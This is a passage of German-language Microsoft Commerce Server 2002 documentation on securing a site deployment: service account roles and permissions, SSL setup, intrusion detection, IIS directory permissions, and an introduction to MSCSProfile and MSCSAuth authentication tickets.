Zum Erstellen statischer Berichte wird der Bericht-Manager, eine Komponente zum Rendern von Berichten, auf dem SQL Server-Computer ausgeführt. Der Bericht-Manager greift auf die erforderlichen Data Warehouse-Tabellen für die statischen Berichte zu. Business Desk-Benutzer greifen nicht direkt auf den Bericht-Manager zu.

Der Bericht-Manager wird unter dem lokalen Konto ausgeführt. In diesem Sicherheitskontext kann die Business Desk-Anwendung Berichte ausführen, ohne dass weitere Berechtigungen für IIS angegeben werden müssen, was u. U. die Sicherheit gefährdet.

Wichtig

  • Damit statische Berichte ausgeführt werden können, müssen Sie die db_owner-Rolle für die Data Warehouse-Datenbank dem Benutzer zuweisen, der in der COM+-Komponente Bericht-Manager von Commerce Server angegeben ist.

So ändern Sie das Bericht-Manager-Konto

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Komponentendienste.
  2. Erweitern Sie Computer, dann Arbeitsplatz und anschließend COM+-Anwendungen.
  3. Klicken Sie mit der rechten Maustaste auf Commerce Server Report Manager, und klicken Sie anschließend auf Eigenschaften.
  4. Geben Sie im Dialogfeld Eigenschaften von Commerce Server Report Manager auf der Registerkarte Identität den Benutzer und das Kennwort für den Berichts-Manager an, und klicken Sie dann auf OK.


Sichern einer Bereitstellung des Vorhersagedienstes

Zum Sichern einer Bereitstellung des Vorhersagedienstes, in der die Windows-Authentifizierung verwendet wird, führen Sie folgende Schritte durch:

Sichern Sie das Vorhersagedienstkonto.

Gewähren Sie Berechtigungen zum Ausführen des DTS-Modell-Generator-Tasks.

Konfigurieren Sie die Verbindungszeichenfolgen der Vorhersageressource unter Verwendung der Windows-Authentifizierung.

Führen Sie das Skript "SegmentViewer" zum Sichern der Vorhersagetabellen aus.

Sichern Sie das auf dem Webserver bereitgestellte Vorhersagemodell.

Gewähren Sie Berechtigungen für die Verwendung der Module "Segment-Viewer" und "Affinitätslisten".

Sichern des Vorhersagedienstkontos

Das Konto, das dem Vorhersagedienst zugewiesen wird, muss über die Berechtigung Anmelden als Dienst verfügen. Diese Berechtigung wird dem Konto von Commerce Server beim Setup zugewiesen.

Das Konto, das dem Vorhersagedienst zugewiesen ist, muss folgenden Rollen zugewiesen werden:

  • Verwaltungsdatenbank. Weisen Sie das Konto der db_datareader-Rolle zu.
  • Data Warehouse-SQL Server-Datenbank. Weisen Sie das Konto den Rollen db_datareader, db_datawriter und db_ddladmin zu.
  • Listen-Manager-Tabellen. Weisen Sie dem Konto die Berechtigungen SELECT, UPDATE, INSERT und DELETE zu.
  • Kampagnendatenbank. Weisen Sie das Konto den Rollen db_ddladmin, db_datawriter und db_datareader zu.
  • COM+-Anwendung Config. Weisen Sie das Konto der Administrators-Rolle zu.

So gewähren Sie dem Vorhersagedienstkonto Zugriff auf die entsprechenden Datenbanken

  1. Erweitern Sie in SQL Enterprise Manager den Knoten Sicherheit, klicken Sie dann mit der rechten Maustaste auf Benutzernamen, und klicken Sie dann auf Neuer Benutzername.
  2. Erstellen Sie einen neuen Benutzernamen für den Vorhersagedienst unter Verwendung der Windows-Authentifizierung, und klicken Sie dann auf OK.
  3. Klicken Sie im Anzeigebereich mit der rechten Maustaste auf den neuen Benutzernamen, und klicken Sie dann auf Eigenschaften.
  4. Geben Sie im Dialogfeld SQL Server-Anmeldungseigenschaften auf der Registerkarte Datenbankzugriff die Verwaltungsdatenbank an, und wählen Sie dann die db_datareader-Rolle aus.
  5. Geben Sie die Data Warehouse-SQL Server-Datenbank an, und weisen Sie dann folgende Rollen zu: db_datareader, db_datawrite und db_ddladmin.
  6. Klicken Sie auf OK.

Weitere Informationen finden Sie in der SQL Server-Onlinedokumentation.

So fügen Sie der Rolle "Administrators" das Vorhersagedienstkonto hinzu

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Komponentendienste.
  2. Erweitern Sie Komponentendienste, erweitern Sie Computer, Arbeitsplatz, COM+-Anwendungen, Commerce Server Config und Rollen, und erweitern Sie dann Administrators.
  3. Klicken Sie mit der rechten Maustaste auf Users, wählen Sie Neu und anschließend Benutzer.
  4. Wählen Sie im Dialogfeld Benutzer oder Gruppen auswählen im Feld Suchen das Vorhersagedienstkonto aus (z. B. CSPred).
  5. Klicken Sie auf OK.

Gewähren von Berechtigungen zum Ausführen des DTS-Modell-Generator-Tasks

Bevor Sie den DTS-Modell-Generator-Task ausführen können, müssen Sie Ihr Konto zunächst dem Sicherheitskontext der Vorhersagedienst-Komponente hinzufügen, d. h. einer Liste von Benutzerkonten, die zum Aufrufen des Vorhersagedienstes berechtigt sind.

Wenn der Modell-Generator-Task für die Ausführung nach einem zeitlichen Plan eingerichtet werden soll, müssen Sie außerdem das Konto für den SQL Agent der Liste von Benutzerkonten hinzufügen, die zum Aufrufen des Vorhersagedienstes berechtigt sind.

So fügen Sie Ihr Konto dem Sicherheitskontext des Vorhersagedienstes hinzu

  1. Klicken Sie auf Start und dann auf Ausführen, geben Sie Dcomcnfg ein, und drücken Sie anschließend die EINGABETASTE.
  2. Wählen Sie auf der Registerkarte Anwendungen die Option Microsoft Commerce Server-Vorhersagedienst aus, und klicken Sie auf Eigenschaften.
  3. Wählen Sie auf der Registerkarte Sicherheit die Option Standardzugriffsberechtigungen verwenden aus, und klicken Sie anschließend auf Bearbeiten.
  4. Klicken Sie im Dialogfeld Berechtigungen für Registrierungswert auf Hinzufügen.
  5. Fügen Sie das Benutzerkonto hinzu, das den Modell-Generator-Task ausführen soll, und wählen Sie im Feld Zugriffsart die Option Zugriff erlauben aus.
  6. Die Gruppe Administratoren muss über das Recht Anmelden als Dienst verfügen.
  7. Klicken Sie zum Speichern der Änderungen auf OK und dann erneut auf OK, um das Dialogfeld Eigenschaften zu schließen. Klicken Sie anschließend noch einmal auf OK, um Dcomcnfg zu beenden.
  8. Starten Sie den Vorhersagedienst neu.

Konfigurieren der Verbindungszeichenfolgen der Vorhersageressource

Wenn Sie Modelle in einer anderen Datenbank als der Data Warehouse-Datenbank erstellen, müssen Sie eine Verbindungszeichenfolge für die Vorhersageressource zu der externen Datenbank konfigurieren.

Es wird empfohlen, die Verbindungszeichenfolge der Vorhersageressource zu einer externen Datenbank stets für die Windows-Authentifizierung zu konfigurieren.

Wenn Sie die Vorhersageressource zur Verwendung der Windows-Authentifizierung konfigurieren, muss das von der Vorhersageressource verwendete Konto ein Mitglied der folgenden Rollen in der externen Datenbank sein:

  • db_datareader
  • db_datawriter
  • db_ddladmin

Wenn sich der Vorhersagedienst nicht auf demselben Computer befindet wie die externe Datenbank, muss das Vorhersagedienstkonto ein Domänenbenutzerkonto sein.

So konfigurieren Sie die Verbindungszeichenfolge der Vorhersageressource für die Windows-Authentifizierung

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Vorhersage auf Servername, und klicken Sie dann auf Eigenschaften.
  2. Wählen Sie im Dialogfeld Eigenschaften von Vorhersage auf Servername auf der Registerkarte Verbindungszeichenfolgen die Option Externe Datenbank aus, und klicken Sie dann auf Ändern.
  3. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die folgenden Einstellungen vor:
    Option | Aktion
    Geben Sie einen Servernamen ein, oder wählen Sie einen aus | Wählen Sie den Namen des Servers aus, auf dem sich die Data Warehouse-Datenbank bzw. der externen Datenbank befindet, auf die zugegriffen werden soll.
    Integrierte Sicherheit von Windows NT verwenden | Klicken Sie hierauf, um die Windows-Authentifizierung für die externe Datenbank (nicht die Data Warehouse-Datenbank) zu verwenden.
    Wählen Sie die Datenbank auf dem Server aus | Geben Sie den Namen der Datenbank ein, auf die Sie zugreifen möchten.
  4. Klicken Sie auf OK.

Ausführen des Skripts "SegmentViewer" zum Sichern der Vorhersagetabellen

In diesem Schritt führen Sie das Skript SegmentViewer für die Data Warehouse-SQL Server-Datenbank aus. Das Skript erstellt die SegmentViewer-Rolle im Data Warehouse und gewährt der Rolle die entsprechenden Berechtigungen für die Arbeit mit dem Modul "Segment-Viewer" in Business Desk.

Die Vorhersagetabellen befinden sich in der Data Warehouse-Datenbank. In der folgenden Tabelle sind die Vorhersagetabellen und die von Systemadministratoren und Businessmanagern benötigten Berechtigungen aufgeführt.

Tabelle Berechtigungen für Systemadministratoren Berechtigungen für Businessmanager
PredictorDataTables
 Vollzugriff SELECT
UPDATE
PredictorModelCfgs
 Vollzugriff SELECT
UPDATE
PredictorModels
 Vollzugriff SELECT
UPDATE
*PredictorAttribute_<model_config>
 Vollzugriff SELECT

*Für jede Modellkonfiguration gibt es eine Tabelle vom Typ PredictorAttribute_<model_config>. Sie wird beim erstmaligen Erstellen eines Modells erstellt.

Systemadministratoren benötigen Vollzugriff auf diese Tabellen, wenn sie den DTS-Modell-Generator-Task ausführen. Business Desk-Benutzer benötigen SELECT-Berechtigungen, damit sie die Segmente mit dem Modul "Segment-Viewer" in Business Desk bearbeiten können.

Hinweis

  • Es empfiehlt sich, verschiedene Konten für die Ausführung des Vorhersagedienstes und der DTS-Modell-Generator-Tasks zu verwenden. Wenn beide Konten der Administratorengruppe zugewiesen sind, kann der Modell-Generator-Task aufgrund der Verweigerung der Berechtigungen nicht ausgeführt werden.

Informationen zum Erstellen von Windows-Gruppen, Zuweisen von Windows-Konten zu den Gruppen und anschließendem Zuweisen der Windows-Gruppen zu den SQL Server-Rollen für diese Tabellen finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

So führen Sie das Skript "SegmentViewer" aus

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft SQL Server, und klicken Sie dann auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer in der Datenbank-Dropdownliste die Data Warehouse-SQL Server-Datenbank aus.
  4. Klicken Sie auf Datei und dann auf Öffnen.
  5. Navigieren Sie zu den Skripts im Ordner Programme\Microsoft Commerce Server\Support, und wählen Sie SegmentViewer aus.

    Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.

  6. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für das Data Warehouse auszuführen.

    Die SegmentViewer-Rolle wird erstellt.

  7. Nachdem Sie die Rolle erstellt haben, weisen Sie ihr das entsprechende Business Desk-Gruppenkonto zu. Anweisungen hierzu finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

Sichern des auf dem Webserver bereitgestellten Vorhersagemodells

Welche Schritte Sie zum Sichern der Bereitstellung des Vorhersagedienstes durchführen müssen, hängt davon ab, ob das Vorhersagemodell auf dem Webserver in einer Datei oder einer Datenbank gespeichert ist.

  • Datenbank. Wenn Sie die Vorhersagetabelle aus dem Data Warehouse in eine Datenbank auf dem Webserver kopieren, müssen Sie den anonymen Konten SELECT-Berechtigungen erteilen. In IIS lautet das anonyme Benutzerkonto IUSR_<Computername> und das Computerkonto IWAM_<Computername>.

    Wenn Ihre Site auf ASP.NET basiert, müssen Sie diese SELECT-Berechtigungen dem von ASP.NET-Sites verwendeten anonymen Konto (dem ASPNET-Konto) gewähren.

  • Datei. Falls Sie das Vorhersagemodell als Datei auf den Webserver kopieren, müssen Sie die Datei mithilfe von Zugriffssteuerungslisten (Access Control Lists, ACLs) sichern. Erteilen Sie der Gruppe Jeder Lesezugriff. Anweisungen finden Sie in der Windows 2000-Hilfe.

Gewähren von Berechtigungen für die Verwendung der Module "Segment-Viewer" und "Affinitätslisten"

Gewähren Sie Business Desk-Benutzern mithilfe des Business Desk-Moduls "Berechtigungen" Zugriff auf die Module "Segment-Viewer" und "Affinitätslisten". Sie können festlegen, welche Business Desk-Benutzer die Module öffnen können und welche Benutzer bestimmte Tasks mithilfe der Module durchführen können. Sie können beispielsweise Folgendes festlegen:

  • Modul "Segment-Viewer": Öffnen und Speichern von Segmentbeschriftungen, Erstellen eines Berichts, Exportieren von Benutzerlisten in das Modul "Listen-Manager"
  • Modul "Affinitätslisten": Öffnen und Exportieren von Affinitätslisten in das Modul "Listen-Manager"

Detaillierte Anweisungen bezüglich der Verwendung des Moduls "Berechtigungen" zum Erteilen von Zugriffsberechtigungen auf die Module "Segment-Viewer" und "Affinitätslisten" finden Sie unter Einrichten von Business Desk-Berechtigungen für Windows-Konten.


Sichern des Netzwerks

Detaillierte Informationen zum Sichern des Netzwerks finden Sie unter Bereitstellen einer sicheren Site.

Mithilfe der folgenden Sicherheitselemente können Sie in einer E-Commerce-Site Netzwerksicherheit implementieren:

  • Aktivieren von SSL auf einer Commerce Server-Site
  • Verwenden eines IDS (Intrusion Detection System)


Aktivieren von SSL auf einer CommerceServer-Site

Feedback zu dieser Seite senden Commerce Server 2002

Aktivieren von SSL auf einer Commerce Server-Site

In einer E-Commerce-Site werden vertrauliche Informationen verarbeitet, beispielsweise die Kreditkartennummern von Kunden. Diese Daten müssen verschlüsselt und über einen sicheren Kanal übertragen werden. Eine sichere Datenübertragung implementieren Sie mithilfe von SSL (Secure Socket Layer).

Zur Bereitstellung dieser Funktionen benötigen Sie ein digitales Zertifikat, das Sie auf dem Server installieren müssen. Ein digitales Zertifikat können Sie von einer autorisierten Zertifizierungsstelle anfordern. Die bekanntesten kommerziellen Zertifizierungsstellen sind VeriSign, CyberTrust und GTE.

SSL ist ein Protokollschema, wie beispielsweise HTTP (HTTPS mit Sicherheitsstandard), FTP und NNTP (Network News Transfer Protocol). Bei der Datenübertragung mithilfe von SSL ist folgendes gewährleistet:

  • Verschlüsselung der Daten
  • Sichere Verbindung zwischen Quell- und Zielserver
  • Aktivierung der Serverauthentifizierung

So aktivieren Sie SSL in einer Commerce Server-Site

  1. Verwenden Sie im Internetdienst-Manager den Assistenten für Webserverzertifikate, um ein Serverzertifikat auf dem Webserver zu installieren und zu konfigurieren. Anweisungen dazu finden Sie unter "Einrichten von SSL auf dem Server" in der IIS 5.0-Dokumentation.
  2. Erweitern Sie im Commerce Server-Manager den Eintrag Commerce-Sites, und klicken Sie anschließend auf die Site, die Sie verwalten möchten.
  3. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf die zu konfigurierende Anwendung, und klicken Sie anschließend auf Eigenschaften.
  4. Aktivieren Sie im Dialogfeld Eigenschaften von Anwendung auf der Registerkarte Allgemein die Option HTTPS aktivieren.
  5. Klicken Sie auf der Registerkarte Webserver auf die Option Werte synchronisieren, um die Eigenschaft des SSL-Anschlusses aus IIS in die Commerce Server-Verwaltungsdatenbank zu kopieren.

    Der Standardwert für den SSL-Anschluss lautet 443. Wenn Sie über einen anderen Wert verfügen, muss dieser Wert auf der Registerkarte Allgemein im Feld Sicherer Hostname eingegeben werden (beispielsweise www.microsoft.com:441).

Hinweis

  • Nach dem Ändern einer Eigenschaft im Commerce Server-Manager ist der Neustart aller Dienste erforderlich, die diese Werte verwenden. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Siehe auch

Bereitstellen einer sicheren Site

Konfigurieren einer Anwendung

Konfigurieren eines Webservers

Konfigurieren der Eigenschaften der CS-Authentifizierungsressource


Verwenden eines IDS (Intrusion Detection System)

Ein IDS (Intrusion Detection System) kann nicht vertrauenswürdige Signaturen bzw. Muster ermitteln, Warnmeldungen an das zuständige Personal ausgegeben und Router zum Beenden der Verbindungen mit unsicheren Quellen veranlassen. Darüber hinaus kann ein solches System vor Denial-Of-Service-Angriffen schützen.

Als Denial-Of-Service wird ein Angriff bezeichnet, bei dem ein Angreifer als legitime TCP-Anforderungen getarnte TCP-Anforderungsfragmente oder Anforderungen aus einer unseriösen IP-Quelle sendet. Der Server kann diese hohe Anzahl von Anforderungen nicht verarbeiten und zeigt legitimen Benutzern der Site eine Denial-of-Service-Meldung an. Ein IDS überwacht die Netzwerkaktivität in Echtzeit und implementiert Sicherheitsmaßnahmen, die die Site vor Angriffen schützen, Angriffe erkennen und entsprechend darauf reagieren.

Ein IDS muss in jeder Sicherheitsdomäne vor dem Firewall installiert werden. Obwohl ein IDS für die Sicherheit der Site notwendig ist, sollten Sie auch die folgenden Aspekte berücksichtigen:

  • Ein IDS ist lastet die CPU intensiv aus und kann die Leistung der Site beeinträchtigen.
  • Ein IDS ist kostenintensiv.
  • Ein IDS kann gelegentlich normalen Netzwerkverkehr als unerlaubten Angriff interpretieren und falschen Alarm auslösen.

Für die Erkennung von Angriffen stehen eine Reihe von Drittanbieter-Tools zur Verfügung. Zur Überwachung des Netzwerkverkehrs in Echtzeit können Sie beispielsweise NetRanger von Cisco oder RealSecure von ISS einsetzen. Die IDS-Technologie wird in der Computerbranche kontinuierlich verbessert und weiterentwickelt.

Siehe auch

Vermeiden von DoS-Angriffen (Denial of Service)


Sichern des Webservers

IIS-Webserverberechtigungen können eingerichtet werden, um den Zugriff anonymer Benutzer auf die Anwendungen einzuschränken und die Ansicht von Quellcode über das Internet auch für Benutzer mit Windows-Berechtigungen (bzw. Zugriffssteuerungseinträgen) zu begrenzen.

Im Folgenden werden die Unterschiede zwischen Webserverberechtigungen und NTFS-Berechtigungen dargelegt:

  • Webserverberechtigungen beziehen sich auf alle Benutzer, die auf die Website zugreifen.
  • NTFS-Berechtigungen beziehen sich nur auf Benutzer oder Benutzergruppen mit gültigem Windows-Konto. NTFS-Berechtigungen steuern den Zugriff auf physische Verzeichnisse des Servers, während Webberechtigungen den Zugriff auf virtuelle Verzeichnisse der Website steuern.

Wenn Sie Site Packager zum Packen einer Site verwenden, werden die Webserverberechtigungen der Quellsite übernommen. Wenn Sie beispielsweise im Stammverzeichnis der Anwendung auf dem Quellcomputer die Einstellung Ausführberechtigungen auf Skripts und ausführbare Dateien festgelegt haben, wird die gleiche Einstellung für das virtuelle Stammverzeichnis auf dem Zielcomputer übernommen.

In der folgenden Tabelle wird z. B. dargestellt, wie die IIS-Berechtigungen in den Commerce Server-Lösungssites festgelegt sind.

Verzeichnis | Berechtigungen
Stamm | Legen Sie Ausführberechtigung auf Skripts und ausführbare Dateien fest.
Pipeline, Include, Template | Verweigern Sie Lese-, Schreib- und Ausführberechtigung.

Dieser Abschnitt beinhaltet folgende Themen:

  • Sichern einer Business Desk-fremden Anwendung


Sichern einer BusinessDesk-fremden Anwendung

Feedback zu dieser Seite senden Commerce Server 2002

Sichern einer Business Desk-fremden Anwendung

Wenn Sie beim Entpacken einer Business Desk-fremden Anwendung eine von Ihnen erstellte Unpack.vbs-Skriptdatei verwenden, müssen Sie die Datei unmittelbar nach dem Entpacken löschen oder sichern. Die Datei befindet sich im Stammverzeichnis, und anonyme Benutzer können auf sie zugreifen. Eine nicht autorisierte Verwendung dieses Skripts könnte zu einem Denial-of-Service oder zu einem Verlust von Einstellungen führen.

Die Datei ist jedoch zum Entpacken der Site erforderlich.

Commerce Server Site Packager beeinflusst nicht die Windows-Zugriffssteuerungslisten (ACLs).

Nach dem Entpacken einer Site sollten Sie einige Dateien und Verzeichnisse auf Ihrer Commerce Server-Site durch Ändern der Zugriffsrechte sperren. Sie können den Zugriff auf Dateien auch durch die Einrichtung von Webserverberechtigungen beschränken. Weitere Informationen finden Sie unter So werden Webserverberechtigungen eingestellt.

Die Datei Unpack.vbs ist in den Commerce Server-Lösungssites standardmäßig gesichert.


Weitere Informationen zur Sicherheit

Sicherheitstools und Service Packs finden Sie auf der Microsoft-Sicherheitswebsite unter http://go.microsoft.com/fwlink/?LinkId=6679.

Vor dem Entwickeln und Bereitstellen einer Site empfehlen wir Ihnen unbedingt, die folgenden Bücher zum Thema Sicherheit zu lesen:

  • Sichere Software programmieren von Michael Howard und David LeBlanc, herausgegeben von Microsoft Press, 2002.
    ISBN 0-7356-1588-8
  • Designing Secure Web-Based Applications for Microsoft Windows 2000 von Michael Howard, Marc Levy und Richard Waymire, herausgegeben von Microsoft Press, 2000. ISBN 0-7356-0995-0

Die folgenden Bücher sind empfehlenswerte Informationsquellen, die das MCSE-Programm (Microsoft Certified Systems Engineer) unterstützen.

  • MCSE Training Kit: Microsoft Windows 2000 - Design der Netzwerksicherheit - Original Microsoft Training, herausgegeben von Microsoft Press, 2001, ISBN 0-7356-1134-3. Dieses Buch unterstützt das MCSE-Programm.
  • MCSE Training Kit: Microsoft Internet Security and Acceleration Server 2000 von J.C. Mackin, herausgegeben von Microsoft Press, 2001, ISBN 0-7356-1347-8.
  • MCSE Training Kit: Designing Highly Available Web Solutions with Microsoft Windows 2000 Server Technologies, herausgegeben von Microsoft Press 2001, ISBN 0-7356-1425-3.


Authentifizieren von Benutzern

Commerce Server nutzt die Sicherheitsfeatures von Windows 2000, z. B. Zugriffssteuerungslisten (ACLs) und die Windows-Authentifizierung. Darüber hinaus stellt Commerce Server auch eigene Authentifizierungsfeatures bereit, mit denen die Funktionen der Windows-Sicherheit erweitert werden können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Authentifizierungskonzepte. Beschreibt Authentifizierungstickets, Cookies, die CS-Authentifizierungsressource und die Datei Csapp.ini.
  • Empfohlene Vorgehensweisen für die Authentifizierung. Beschreibt Empfehlungen für das Verwenden von Active Directory und AuthFilter, für das Sichern von Kennwörtern sowie für das Verwenden von Proxykonten.
  • Vergleich von AuthFilter und AuthManager. Beschreibt die Unterschiede zwischen den einzelnen Features in AuthFilter und AuthManager.
  • AuthFilter. Erläutert die Verwendung von AuthFilter für die Einzelanmeldungsunterstützung sowie im Zusammenhang mit der Retail- und der Supplier-Lösungssite und mit einer .NET-Site.
  • AuthManager. Beschreibt das AuthManager-Objekt und veranschaulicht in einer Abbildung, wie AuthManager eine Anforderung verarbeitet.
  • Windows-Authentifizierungsmodus. Erläutert die Verwendung von AuthFilter im Windows-Authentifizierungsmodus.
  • Benutzerdefinierter Authentifizierungsmodus. Erläutert die Verwendung von AuthFilter im benutzerdefinierten Authentifizierungsmodus.
  • Autocookiemodus. Erläutert die Verwendung von AuthFilter im benutzerdefinierten Autocookiemodus.
  • Windows-Authentifizierung mit Autocookiemodus. Erläutert die Verwendung von AuthFilter im Windows-Authentifizierungsmodus und im Autocookiemodus.
  • Benutzerdefinierte Authentifizierung mit Autocookiemodus. Erläutert die Verwendung von AuthFilter im benutzerdefinierten Authentifizierungsmodus und im Autocookiemodus.
  • Konfigurieren der CS-Authentifizierungsressource. Erklärt die Eigenschaften in der CS-Authentifizierungsressource.
  • Exchange 2000 OWA-Standardauthentifizierung. Erläutert die Verwendung von AuthFilter und der Exchange 2000 OWA-Standardauthentifizierung.
  • Einstellen des Sicherheitsmodus auf dem Domänencontroller. Erläutert, wie Domänenbenutzer aktiviert werden. Dies ist erforderlich, um den Windows-Authentifizierungsmodus in einer Commerce Server-Site verwenden zu können.
  • Erstellen eines neuen Cookie-Verschlüsselungsschlüssels. Erläutert, wie ein neuer Cookieverschlüsselungsschlüssel zum Ver- und Entschlüsseln von Cookiedaten erstellt wird.
  • Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickes. Erläutert, wie Sie mithilfe des Verschlüsselungsfeatures für dynamischen Schlüssel den Verschlüsselungsschlüssel ändern, der zum Ver- und Entschlüsseln von Authentifizierungstickets für eine Site verwendet wird.
  • Konfigurieren von "Login.asp", sodass eine GUID verwendet wird. Erläutert, wie die Seite Login.asp aktualisiert wird, um eine benutzerdefinierte Eigenschaft mit der Bezeichnung "guid" hinzuzufügen, die eine GUID-Zeichenfolge (Globally Unique Identifier) auf dem Ticket eines Benutzers enthält, sodass Ihre Site vor DDoS-Angriffen (Distributed Denial of Service) geschützt wird.
  • Integrieren mit Passport. Erklärt die Integration von Commerce Server mit Passport Express Purchase und Passport Single Sign In.


Authentifizierungskonzepte

Authentifizierung ist der Vorgang, bei dem die Anmeldeinformationen von Benutzern überprüft werden. Bei der Anmeldung eines Benutzers an Ihrer Site werden dessen Anmeldeinformationen mit einer autorisierten Liste verglichen. Wenn Commerce Server eine Übereinstimmung feststellt, wird dem Benutzer der Zugang zu dieser Site gewährt.

Die Benutzeranmeldeinformationen können aus einer Kombination aus Benutzername und Kennwort, einem Zertifikat oder einem Authentifizierungsticket bestehen, das in einem Cookie oder einem codierten URL enthalten ist. Beim Abmelden von einer Site erlischt die Authentifizierung. Benutzer müssen sich also bei jeder neuen Anmeldung erneut authentifizieren.

Commerce Server enthält die CS-Authentifizierungsressource, über die Sie bestimmen, wie Tickets in Ihrer Site implementiert werden. Die Eigenschaften der CS-Authentifizierungsressource werden im Commerce Server-Manager konfiguriert.

Dieser Abschnitt beinhaltet folgende Themen:

  • Authentifizierungstickets
  • Commerce Server-Cookies
  • CS-Authentifizierungsressource
  • Werte für die Authentifizierung in der Datei "csapp.ini"


Authentifizierungstickets

Für die Authentifizierung von Benutzern, die Ihre Site besuchen, verwendet Commerce Server Authentifizierungstickets. Ein Authentifizierungsticket dient zum Authentifizieren von Benutzern. Es besteht aus einem Eigenschaft/Wert-Paar, z. B. "userID" und dem zugehörigen Wert. So könnte ein Authentifizierungsticket beispielsweise das Eigenschaften/Wert-Paar userID/JörgBenutzer enthalten.

Ein Commerce Server-Ticket enthält Informationen über einen Besucher Ihrer Site. Dazu gehören ein Anmeldename, der Zeitpunkt seines letzten Besuchs sowie ein Zeitfenster, das die Gültigkeitsdauer des Tickets angibt. Commerce Server setzt Tickets ein, um Benutzer zu identifizieren und zu authentifizieren sowie die über die Benutzer gesammelten Informationen mit Benutzer-IDs zu verknüpfen.

Commerce Server verwendet zwei Arten von Tickets: MSCSProfile-Tickets und MSCSAuth-Tickets. Bei der ersten Anmeldung eines Benutzers an Ihrer Site erstellt Commerce Server ein MSCSProfile-Ticket für diesen Benutzer und schreibt dieses in den HTTP-Header. Bei der Authentifizierung eines registrierten Benutzers erstellt Commerce Server ein MSCSAuth-Ticket und schreibt dieses in den HTTP-Header. Beide Ticketarten können im Cookie gespeichert oder in eine codierte URL-Abfragezeichenfolge aufgenommen werden.

Dieser Abschnitt beinhaltet folgende Themen:

MSCSProfile-Tickets

MSCSAuth-Tickets

Tickets für anonyme Benutzer, die sich registrieren

Merkmale von MSCSAuth- und MSCSProfile-Tickets


MSCSProfile-Tickets

In Commerce Server werden MSCSProfile-Tickets zur Identifizierung und Überwachung von anonymen Benutzern eingesetzt, die Ihre Site besuchen. MSCSProfile-Tickets werden bei Benutzern, die solche Cookies annehmen, in persistenten Cookies abgelegt. Bei Benutzern, die keine persistenten Cookies zulassen, wird das MSCSProfile-Ticket in einen codierten URL aufgenommen.

Falls das MSCSProfile-Ticket in einem persistenten Cookie gespeichert wird, können Sie die Gültigkeitsdauer des Tickets (in der Regel beträgt diese einige Jahre) für jede Benutzer-ID über die Eigenschaft Profilcookie-Ablaufdatum in der CS-Authentifizierungsressource festlegen. Weitere Informationen über persistente Cookies finden Sie unter Commerce Server-Cookies.

Wenn ein MSCSProfile-Ticket in einem persistenten Cookie gespeichert wird, verbleibt das Ticket auch nach dem Ende der Sitzung auf dem Clientcomputer. Das persistente Cookie wird erst gelöscht, wenn der Benutzer es löscht.

Es wird empfohlen, MSCSProfile-Tickets nur für anonyme Benutzer einzusetzen. Verwenden Sie MSCSProfile-Tickets niemals zur Authentifizierung von Benutzern, da diese Tickets in persistenten Cookies gespeichert werden. Stellen Sie sich beispielsweise eine öffentliche Kiosk-Anwendung vor: Wenn ein Benutzer mithilfe eines MSCSProfile-Tickets authentitifiziert wird, hat der nachfolgende Benutzer Zugriff auf die Seiten, zu denen dem vorherigen Benutzer Zugang gewährt wurde.

Verwenden Sie niemals MSCSProfile-Tickets für den Zugriff auf vertrauliche persönliche Daten, z. B. Kreditkarten- oder Sozialversicherungsnummern. MSCSProfile-Tickets sollten für die Personalisierung (z. B. für namentliche Begrüßungen) und für Voreinstellungen (z. B. Sprach- und Anzeigeoptionen für die Benutzeroberfläche) oder zur Überwachung von anonymen Benutzern verwendet werden.

Hinweis

  • Verwenden Sie nur verschlüsselte Tickets. Unverschlüsselte Tickets können durch Angreifer angefangen werden, die dann die Benutzer-ID auslesen und somit die Identität von legitimen Besuchern Ihrer Site annehmen können.

Siehe auch

MSCSAuth-Tickets

Tickets für anonyme Benutzer, die sich registrieren

Merkmale von MSCSAuth- und MSCSProfile-Tickets

Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickets

Verschlüsseln von Cookies


MSCSAuth-Tickets

In Commerce Server werden MSCSAuth-Tickets zur Identifizierung und Überwachung von registrierten und authentifizierten Benutzern eingesetzt.

MSCSAuth-Tickets können in Sitzungscookies gespeichert werden oder in einem codierten URL enthalten sein. Nach Beendigung einer Sitzung werden die Sitzungscookies vom Browser automatisch gelöscht. Der Benutzer muss sich beim nächsten Besuch der Site erneut authentifizieren.

Bei der unter IsAuthenticated method (englisches Thema) erläuterten Authentifizierungsmethode von Commerce Server wird geprüft, ob das MSCSAuth-Ticket vorhanden ist, und sichergestellt, dass das Ticket gültig ist und die Zugriffszeit innerhalb des im Ticket enthaltenen Zeitfensters liegt.

Hinweis

  • Verwenden Sie nur verschlüsselte Tickets. Unverschlüsselte Tickets können durch Angreifer angefangen werden, die dann die Benutzer-ID auslesen und somit die Identität von legitimen Besuchern Ihrer Site annehmen können.

Siehe auch

MSCSProfile-Tickets

Tickets für anonyme Benutzer, die sich registrieren

Merkmale von MSCSAuth- und MSCSProfile-Tickets

Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickets

Verschlüsseln von Cookies


Tickets für anonyme Benutzer, die sich registrieren

